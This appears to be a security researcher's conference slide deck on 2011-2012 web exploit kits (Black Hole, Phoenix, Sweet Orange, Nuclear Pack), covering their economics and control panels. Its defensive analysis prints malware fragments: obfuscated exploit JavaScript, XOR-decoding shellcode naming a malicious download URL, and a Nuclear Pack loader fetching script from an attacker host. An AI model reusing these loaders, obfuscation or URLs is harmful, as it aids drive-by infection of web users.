

The State of Web Exploit Kits

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ENTERPRISE SECURITY



Who Am I?

- Team Lead, ASI
- Malware Analysis
- IP Reputation
- Malicious content harvesting

What Are Web Exploit Kits?



Web Exploit Kits Are...

Pre-packaged software that consists of

- Installers (usually)
- Typically PHP-based
- Number of Exploits
 - Rarely 0-day
- Control Panel
 - Installer
 - Statistics
 - Configuration
- Install malicious payload
 - Botnet
 - Trojan
 - Fake AV

Exploit Kit Economy


- Cost up to thousands of dollars
- Rentals also offered on daily/weekly/monthly basis
- Bullet-proof hosting options
- Contain “EULA”-like agreements
- Marketing & competitiveness between kits
- Regularly issue updates
 - Bug-fixes
 - Exploit reliability updates
 - Aesthetic changes

Active Exploit Kits



* Image courtesy of Kahu Security

How Exploit Kits Typically Work



Black Hole Exploit Kit



What is Black Hole Exploit Kit?

- Launched in late 2010
- Currently most popular exploit kit
- Version 1.2.3
- Contains many recent Java exploits
- Contains exploit for CVE-2012-1889 (MS XML)
 - 0-day at the time
- Good JavaScript obfuscation

Black Hole in the News

Threat Post
Spam campaign uses Blackhole exploit kit to install SpyEye
BY SÉBASTIEN DUQUETTE Malware Researcher
Share 9 Like 126 +7 1 Tweet 71
This article was written in collaboration with threat post
Sunday, December 18th, 2011
The Kaspersky Lab Security News Service
Home Topics Blogs Multimedia Res
Home > Hacks >
December 5, 2011, 11:09AM
Carberp and Black Hole Exploit Kit Wreaking Havoc

eWEEK.COM
Attackers Subvert MySQL.com With BlackHole Exploit Kit to Serve Malware
Share
LinkedIn Twitter 12
Rashid


The Tech Herald
USPS website hit by Blackhole Exploit Kit
by Steve Ragan - Apr 8 2011, 02:05
Researchers at Zscaler have **uncovered** a Blackhole Kit attack carried out against the U.S. Postal Service's Rapid Information Bulletin Board System (RIBBS). This is the second Blackhole Kit attack discovered this week, after another was spotted on the website for the Houston International Film Festival on Monday.
The Blackhole Kit, which was developed in Russia, cost about \$1,500 USD annually for anyone who wants to deploy it, with discounts for six-month usage and quarterly usage. Described as being powerful, the kit downloads that target vulnerabilities in Java and Adobe PDF. Upgrades to the kit are available for as the developers add more obfuscation and encryption to
Watch this video on www.youtube.com
USGCB Audit with SAINT vulnerability scanner from SAINT Corporation youtube.com/saintexploit
AdChoices

threat post
The Kaspersky Lab Security News Service
Friday, December 2nd, 2011
Home Topics Blogs Multimedia
Home > Malware Attacks >
May 23, 2011, 11:38AM
Black Hole Exploit Kit Available for Free
by Dennis Fisher @DennisF
Follow @DennisF
Share

threat post
The Kaspersky Lab Security News Service
AUG 22 2011
Written by Kimberly
Fake Facebook Friend Request leads to ZeuS via BlackHole Exploit Kit
S top Malvertising did intercept an unsolicited email appearing to be from Facebook. The email poses as a Facebook Friend Request




Black Hole Events in 2011



Black Hole Spam Campaigns


- Spam is easy
- Target users with
 - Fake delivery notices
 - Fake IRS notices
 - Fake orders from online retailers
- User clicks the link
 - Owned!

Black Hole Control Panel



*Image courtesy of Xylit01

Black Hole Control Panel (cont.)



*Image courtesy of Xylit0l

83%!?!??!

**WHAT DO WE SAY TO
THE JAVA UPDATE?**



Black Hole Control Panel (cont.)

The screenshot displays the Blackhole v.1.2.1 control panel interface. The top navigation bar includes 'Blackhole^β', 'STATISTICS', 'THREADS', 'FILES', 'SECURITY', 'PREFERENCES', and 'Logout'. The main content area is titled 'FILES LIST' and contains three file entries:

| File Name | DATE | SIZE | LOADS | Last check | CRC32 | MDS |
|-----------------------|-----------------|-----------|--------------|------------|------------|----------------------|
| 9f02a4722e0d172 (exe) | 9 December 2011 | 112.50 KB | 17 327 loads | never | ██████████ | ████████████████████ |
| crypted (exe) cry | 8 December 2011 | 299.00 KB | 659 loads | never | ██████████ | ████████████████████ |
| exp (exe) it | 7 December 2011 | 128.00 KB | 1 597 loads | never | ██████████ | ████████████████████ |

An 'Add file' button is located at the bottom of the list. The version 'Blackhole v.1.2.1' is displayed at the bottom center of the interface.

*Image courtesy of Xylit0l



Black Hole Exploit URL Schemes

- Predictable
- Typically ending in .php
 - Main.php and showthread.php most common
- One URL parameter
 - Normally 1-5 characters
 - Value is 16 valid hex characters
- Malware payload URL normally w.php
 - 3 parameters

Black Hole JavaScript Obfuscation

- Changes a lot
- Typically consists of
 - Text blob in HTML tag or parameter
 - Deobfuscation routine
- Loads malicious iFrame for bulletproof site
 - More obfuscated JavaScript
 - Detects browser/plugin versions
 - Launches exploit to load malware

Black Hole JavaScript Obfuscation (cont.)

```
nter><h1>Please wait page is loading...</
function(b){return typeof b!="undefined"}
unction(b){return typeof b=="number"},isS
b)?(d.isDefined(c)?new RegExp(c):d.getNun
s(h,f)}c=h.split(e.splitNumRegx);b=f.spli
n(b,c){var d=this,a,e;if(!d.isStrNum(b)){
>c||!(/\d/).test(e[a])}{e[a]="0"}}return
gth;e++){if(/[\^s]/.test(f[e])&&(c=naviga
?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigat
est(RegExp.leftContext+RegExp.rightConte
d,j=e.isString(k)?[k]:k;for(d=0;d<j.lengt
ion:function(f,b){var h=this,e,d,g,a,c=-1
=h.formatNum(b);d=b.split(h.splitNumRegx)
XObject,getX0:function(a){var f=null,d,t
(h.length>0&&!g[h]){g[h]=g[a](g);delete g
ify){c.verify.$=c};c.OS=100;if(b){var f,c
]&&new RegExp(d[f],"i").test(b)}{c.OS=d[f
,10):null;c.ActiveXEnabled=false;if(c.is]
$xml2.DOMDocument","Microsoft.XMLDOM","St
ue;break}}c.head=c.isDefined(document.get
:\s*( [\.\,\d]+)/i).test(i)?RegExp.$1:"0.
1):null;c.isOpera=(/Opera\s*[\|/?\s*(\d+
,10):null;c.addWinEvent("load",c.handler(
.replace(/\s/g,""));a=b[c];if(!a||!a.getVe
on=a.version0=a.getVersionDone=null;a.$=t
length<=0)&&c.isFunc(b[0]))){a.push(b)},
)?c.length:-1;if(!(a<=0)&&b.isFunc(c[0]))
```

```
s="";
w=2;
for(k=a.length-1;k>=0;k--){
    if(window.document)try{dshsdfh.a
        v=a[k];
        n=a.length-k-1;
        n=n-Math.floor(n/w)*w;
        z=v*(n+1);
        s=s+String.fromCharCode(
    }
}
//e(s);
}
a="59;.20.5;.40;.24;.108;.56;.115;.62.5;
57.5;.97;.54;.70;.30.5;.76;.38.5;.84;.36
5;.101;.54.5;.117;.49.5;.111;.50;.59;.20
4;.48.5;.118;.29.5;.34;.31;.116;.49.5;.1
;.17;.62;.19.5;.48;.24.5;.39;.30.5;.116;
01;.59;.97;.59.5;.107;.49.5;.111;.52;.11
5;.108;.48.5;.43;.17;.39;.30.5;.115;.57.
0.5;.101;.54.5;.97;.55;.32;.19.5;.100;.5
;.21.5;.106;.49;.111;.47.5;.104;.57.5;.9
.53;.98;.55.5;.95;.52;.115;.48.5;.108;.3
.54;.97;.17;.92;.30.5;.101;.54.5;.97;.55
;.46;.17;.43;.50.5;.109;.48.5;.110;.51;.
7;.54;.70;.29.5;.34;.31;.39;.50;.105;.47
```

Black Hole PDF Obfuscation

- Slightly different obfuscation than JavaScript
- ASCII Character replacement
 - `a` for “a”
 - Still uses giant text blobs
 - Characters separated by ‘@@@’
- Once deobfuscated follows the same pattern as JavaScript in HTML

Black Hole JavaScript Shellcode

- Most exhibits the same behavior
 - Standard JMP / CALL to obtain address
 - Patches bytes of shellcode using XOR with 0x28
 - VOILA! Junk ASM code now valid
 - URL now visible near the end of the shellcode
 - Easily detected by many shellcode detection libs

```
0000013f          ud      4e4 ; /
00000140          db      70h ; p
00000141  aHttpWwapps1My db 'http://wwapps1-myups.com/t.php?f=6d4b0&e=1',0
000001cd          db      0
000001cn          ends
```

Black Hole JavaScript Shellcode (cont.)

```

0000      inc     ecx
0001      inc     ecx
0002      inc     ecx
0003      inc     ecx
0004      and     sp, 0FFFCh
0008      cld
0009      jmp     short loc_1B
000B ; -----
000B      jmp     short loc_1B
000B loc_1B: ; CODE XREF: seg000:loc_1B!p
000B      pop     eax
000C      xor     ecx, ecx
000E      sub     cx, 0FE52h ; get number of bytes to patch
0013      ; CODE XREF: seg000:00000017!j
0013 loc_13: ; CODE XREF: seg000:00000017!j
0013      xor     byte ptr [eax], 28h ; XOR shellcode bytes with 0x28
0016      inc     eax
0017      loop   loc_13
0019      jmp     short shellcode
001B ; -----
001B      jmp     short shellcode
001B loc_1B: ; CODE XREF: seg000:00000009!j
001B      call    loc_B
0020      ; CODE XREF: seg000:00000019!j
0020 shellcode: ; CODE XREF: seg000:00000019!j
0020      test   esp, esp
0022      jnz    short loc_58
0024

0004      and     sp, 0FFFCh
0008      cld
0009      jmp     short loc_1B
000B ; -----
000B deobf_sc: ; C
000B      pop     eax
000C      xor     ecx, ecx
000E      sub     cx, 0FE49h
0013      ; CODE XREF: seg000:00000017!j
0013 loc_13: ; CODE XREF: seg000:00000017!j
0013      xor     byte ptr [eax], 28h
0016      inc     eax
0017      loop   loc_13
0019      ; CODE XREF: seg000:00000019!j
0019 loc_19: ; CODE XREF: seg000:00000019!j
0019      jmp     short shellcode
001B ; -----
001B loc_1B: ; CODE XREF: seg000:00000019!j
001B      call    deobf_sc ; j
0020      ; CODE XREF: seg000:00000019!j
0020 shellcode: ; CODE XREF: seg000:00000019!j
0020      lodsd
0021      int     3 ; T
0022      pop     ebp
0023      sbb   al, 0C1h ; '
0025      ja     short loc_42

```


Phoenix Exploit Kit



Phoenix Exploit Kit History

- Started in 2007
- Current version 3.1
- Offers full and mini versions
 - Mini version only allows one affiliate
 - Full allows for multiple
- Tracks visitors, only launches exploit once per IP
- Large number of exploits available

Phoenix Exploit Kit Statistics



*Image courtesy of Xylit01

Phoenix Exploit Kit Exploit Statistics

Phoenix Exploit's Kit
3.1 full

△CONCORDIA, INTEGRITAS, INDUSTRIA...


| Simple browser statistics | | | |
|---------------------------|--------|-----------|---------|
| Browser | Visits | Exploited | Percent |
| MSIE | █ | █ | █% |
| Other | █ | █ | █% |
| Firefox | █ | █ | █% |
| Opera | █ | █ | █% |

| Main Statistics | | |
|-----------------|-----------|---------|
| Unique Visits | Exploited | Percent |
| █ | █ | █% |

| Exploit statistics | | |
|--------------------|-----------|---------|
| Exploit | Exploited | Percent |
| JAVA TCRHINO | █ | █% |
| JAVA ATOMIC | █ | █% |
| MDAC | █ | █% |

Menu

- [Simple statistics](#)
- [Advanced statistics](#)
- [Countries statistics](#)
- [Referers statistics](#)
- [Sources statistics](#)
- [Clear statistics](#)
- [Upload .exe](#)
- [Exit](#)



*Image courtesy of Xylit01

PEK JavaScript Obfuscation

- Uses multiple `<script>` tags
 - 2 `<script>` tags
 - `<textarea>` tag
 - Final `<script>` tag
- Deobfuscated code still not obvious
- No
 - “getShellcode” routine
 - “heap spray” references

PEK Obfuscated JavaScript

```
+''+'''+'''+'''').replace(ripruh,ssat).replace(ialabola,huivnos);}</script><script>var etcwxw6="vhbba3k  
s12so2has7bba8jvhv3hvivahsfssohxfsdjshshrovbjsfdfshjbodhessawobsjsfbh=jjb'shfnddjjbbhkfjh4jbxNhbq2bjz  
bedKsbqJdjvDjhhBfbjWbshJjhhHhdjKfshBda3B'bvB;h41fvq2uhhBnsj4cfa5thhHirgJojhBnfsF~bdKDehJEwvHTjdAEhvS  
jhHAhdJVhbBAxsH(bjW)ahB{saUvbdYadbYrqhB~vsBvhjHejaBrhb1shdHijjBohhEn3aB;vbDt4dDrghAyhWn{j7Sva6Bah2Hr  
tJMdfQshhV~vsW=ddH~vbBdsh4oasHchbJudfBmbhHesjBnjqHthbJ.ajBgdhJebf1thjHEsh2ljFBeaJDmbHAedABnjHATHGABz  
BdhJX(wHB'7DHd6Fhe2Jbp3HjL4ShotVsyfFbJhUfasYjvdRhabFsPhUdlsYbubRfgfHjihFhnjJb'qvj)bFh.jHwjhAbvfVrmjL  
vJGbeHA4rAD3sHV2iGShoSfBnVHj~FBh=JHa~HBsVDHxMFJjsJHh.HhbgSbdeVjjetFjh(Uba0Yfs)Rgb.FdjvUjheYhdrRdbsHfj  
Vjj;Ffb}HdwcAheaVhbtDfjcFhhHhb~Ghs(AhheD3d)V7s{S6afF1buH2hnB7vcH8htB3siHvfoJfhnHhr~hdjtsfejvbsjfet  
shidbbnjffghjjAdshcfdhtbbxigfbvjjaefhsXdbb(hjdvhhqefbvrhshshdjihjhohfhn3bj)7jh{6h3v1fva2d4r7'g~8;ho3  
hehcgcdhtsisNvodafnmh~vedMd~sDv=bAs~fCa'j(hJs)dad{bvbvsafajWjrreh~abbpdSj~bth=hab~srsdjtdoa.jcbifl  
nhnasftbtd.da'chl;rwlf7eua6dnt2.ce3'tE4~ilt+oef~nmhv~eseDndrEtbsT(hiE'soCobnTbf~Pjh+Dej~Fcq'(tb.)'j  
rpjij.hf{sF~veJ(atH!rAAA~tHcltGtvrSi=iVvPbFeduJXftH01eDb.(FjG'JeeiHctdStV'V)e,F{rpUrs)Yei;RtopFun.Ur  
tHf;AFavtJlatVsrrFe~iH;fbA}iuVt=tDr/eFyE(H{S'GrccAerLdtiaVupsSrtsFn=iH~(dB(['Hn^,Be,'Hw]cJ~+lHA)shc,  
jvvBbeaDfXr9g0~6dbfCjji5hef5dc=6ft/-b(A6goc5jbrAfjo3deF-hco1htr1fNmDha=0hm(-he[9h]^83~,37!])A6=+-1~)0  
l;03ll4v)vFf;fCh}=2dcl9savEvt.3fcm6hha'd~t)s(c;behtfx(rjcfyse{dpfvbt)afi[rjo1~hn]qb).~j{s=hrp~belps  
(rfn'eb~.ajf'tha)eFl;0dslb'evj;;=ed}lco}vtci.(ufm'm~ame(tsntcxtehm.s(lwtf2rUi.is)Xti[Men1L(g)H'A.T<c  
'dvi,yet'>X('<(')/'.;b1'vo.)ad7;ry.s~>0vr<'~0)p=B)a~J{rpEvs.CeeCTrIr~sneiitado(t=nleP~vOd=[bf~0j1']  
a7l(m.v'e0=S='phP;aed}rlfesllle.~sIAhenpe~tpii(lgflih~vct(.a=tjt0eo~siowtnniU('ds',ti'hn)'=g))0A;;  
ifrav~sepssXa~i(r=d's~1epc.I.l6nCs.tri0(ed'la:)vtC)feA{.08vjbAeoj9rie7snc8i(t0o'(-n'2~)a8=)d0~;ol  
~.16(sC.ltF0vr-'=eA;=a2}7m4e1'Dl0,-s)'4e{'4~S)4iH;5f0t5~Wr3(Py5tD{4eFs0s(.0t't0Uey0ssp>ige<nt~/gg=0/  
;EiiqCvl.Teco>Xtp<(2e''~n~1p(+.d'~5fG'.Eo0)Tb';j)},e)e'c{lhtvst~eetcr~plsi:aif/so~/sn(1i~(8d=(8~s  
l.=0s56.i.)9d0|8:'|.C;(1A)s3Fev2El=/Es=pFe7hA~/Ci)d-f&mD~&gE((5Ctl.7evp-s<h0t7p0U170s1i0i)=-n)10g{E  
t0f-iWaAvPlBeDsCXFeD((E'';F1eqF.s.E4gsD.teC2gnB'ndA)k(`)t)~{i;'vls~ec.+rto~s2p'i.eiopndnd(=vf)`=';c  
}Wl.ero4liy.stJ2eea'{(v;Mqa}D.P}ArltCeur(sgy)pi{;onv;n'a}~srcew~aBimtodacdtjhyho~)=r(;~ev0=)a~{r~  
~isC=ge(~hI)'tn;.=t}/'()/0vf.`eu.>rn/'sc/~itf+oii~nol'.ne<s~.pSe~LHX+i0e~tW'(P;/Ds'.F.~'(S+)fa~[r  
b)voj;aFevrica~ltrpe'~(m=t+i~,~nd2'oo)>rc;'~us)=m.;~eCvvnlaetorr.s~scsir(ooe)sna;a.t}vsecipEasllt  
(e(o'nes_t)s'(~o)'{s[i]o1ftg}rrs;ay=im{'fern~'.j()skm;h4ipeNn.l2oslJreeK)txN{AeKmtcJituDnrtBoieWrb(J  
e;Bp({)Ba'cBrsa1srt2eccBI'h4n,(5t~eH(f)Jmn~Bi){Fn;}Kop}Jr.ch)saA;etS}tcNeAhDlt(HsteJer)B{~Hmb{Wiu}Br  
EY~'TB=wEB~iCH0dTB;tJ1}hAhI'VBf,AE~(B(0)D();Dm;vAapaNj.rSos~BreuH~taE=AhH=taJ~thQ6raV)ihW~baH&uhB&t  
J('hBmhaHie;BnivHogaJrhrB~tJ>'s1=,oH~s210aB9)vD);iA~psB&.oA&ssA~esH(toJmAsBitsXntoBorlHrikh~bab<us  
2(ob1'sf)f=j)r'h)ans{mjDjEkbAb4fVoNjAr2hSdJbKeKjYrNhL'KwI,JbN~DrE'Bh(0Wj)'Jb;)Hb};K4edB3loB2scBheu1t  
n4aTt5sE.HxCbJjToBhPdFbDyKdF.Jj(aHh)pAa;pSs}eNb}nDjcdHhaCJdthBbciHjhLwb~dBq((UjepYb))Yw{;BeD}BbEvHj1
```



PEK PDF Obfuscation

- Resembles Black Hole JS obfuscation
- Large array of integers
- Run through deobfuscation routine, launch exploit
- Deobfuscation routine simpler than Black Hole

```
36 var hui=12/utml;
37   }
38
39 catch(v32vrw)
40   {
41
42       i=0;
43       while(i!=3937)
44           {
45               s=s+a[b[i]];
46               i=1+i;
47           }
48       k=s;
49       e(k);
50   }
```

Other Exploit Kits



Lots of New Kits

- Large number of new kits in 2012
- Multiple kits have popped up from China
- Many more popping up from Eastern Europe
- Some kits pop-up and then disappear
- Too many to keep up with!

Yang Pack





- Surfaced in late 2011 / early 2012
- Based out of China
- 3 exploits, very low detection rates
- Like many kits from China
 - No PHP files
 - No database backend
 - Consist only of static HTML files








Sweet Orange Exploit Kit

- Surfaced in 2012
- Aims to keep small footprint
- Authors only give information to established cybercriminals
- Costs \$2500
- Rents for \$1400
- Observed in the wild?

Sweet Orange Exploit Kit (cont.)

| | | |
|--|---|------|
|  Chrome All | 0 | 0 |
|  Firefox All | 0 | 0 |
|  Opera All | 0 | 0 |
|  Firefox new | 1 | 0.19 |
|  Firefox 3.16 | 0 | 0 |

| браузер | Все | Загружено | % |
|---|------|-----------|-------|
|  ie | 1700 | 497 | 29.24 |
|  Other | 271 | 0 | 0 |
|  Firefox | 142 | 22 | 15.49 |
|  Opera | 5 | 1 | 20 |

| # | Страна | Все | Загружено | % |
|--|--------|------|-----------|-------|
|  US | US | 1156 | 278 | 24.05 |
|  CA | CA | 486 | 133 | 27.37 |
|  DE | DE | 265 | 53 | 20 |
|  GB | GB | 118 | 27 | 22.88 |
|  AU | AU | 30 | 10 | 33.33 |
|  TR | TR | 20 | 8 | 40 |
|  SA | SA | 10 | 4 | 40 |

*Image courtesy of Webroot / Dancho Danchev

Sweet Orange Exploit Kit (cont.)

Сweet Orange

Статистика Файлы Поставщики Домены Обновление

Остановлен

Состояние сервера

Старт Стоп Рестарт

Очистить статистику

Выберите поставщика

FAS k Выбрать

| Всего трафа | Пробито | % |
|-------------|---------|-------|
| 2118 | 520 | 24.55 |

| ОС | Все | Загружено | % |
|-------|-----|-----------|-------|
| Seven | 988 | 249 | 25.2 |
| xp | 461 | 139 | 30.15 |
| Vista | 366 | 130 | 35.52 |
| MacOS | 19 | 0 | 0 |
| Linux | 9 | 2 | 22.22 |
| Other | 6 | 0 | 0 |
| 98 | 2 | 0 | 0 |
| 2003 | 1 | 0 | 0 |

Эксплоит Загружено %

*Image courtesy of Webroot / Dancho Danchev

Nuclear Pack v2

- Been dormant for a few years
- Resurfaced in 2012 with 4 exploits
- Introduced anti-honeyclient feature
 - Difficult to automate collection of exploits
 - More interactive honeyclients/sandbox required

Nuclear Pack Anti-Crawling

```
4333 (function() {
4334 var url = '&#39;http&#58;//smtxkycxsu.webhop.org/g/&#39;;
4335 if (typeof window.xyzflag === '&#39;undefined&#39;) {
4336 window.xyzflag = 0;
4337 }
4338 document.onmousemove = function() {
4339 if (window.xyzflag === 0) {
4340 window.xyzflag = 1;
4341 var head = document.getElementsByTagName('&#39;head&#39;)&#91;0&#93;;
4342 var script = document.createElement('&#39;script&#39;);
4343 script.type = '&#39;text/javascript&#39;;
4344 script.onreadystatechange = function () {
4345 if (this.readyState == '&#39;complete&#39;){
4346 window.xyzflag = 2;
4347 }
4348 };
4349 script.onload = function() {
4350 window.xyzflag = 2;
4351 };
4352 script.src = url + Math.random().toString().substring(3) + '&#39;.js&#39;;
4353 head.appendChild(script);
4354 }
4355 };
```

Conclusion

- Exploit kits are only getting more sophisticated
 - Newer exploits
 - Changing evasions / obfuscations
 - This is a business for the authors, they are invested in staying one-step ahead to make money
- Detecting new techniques takes work
- Patch Java!

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THANK YOU

QUESTIONS?

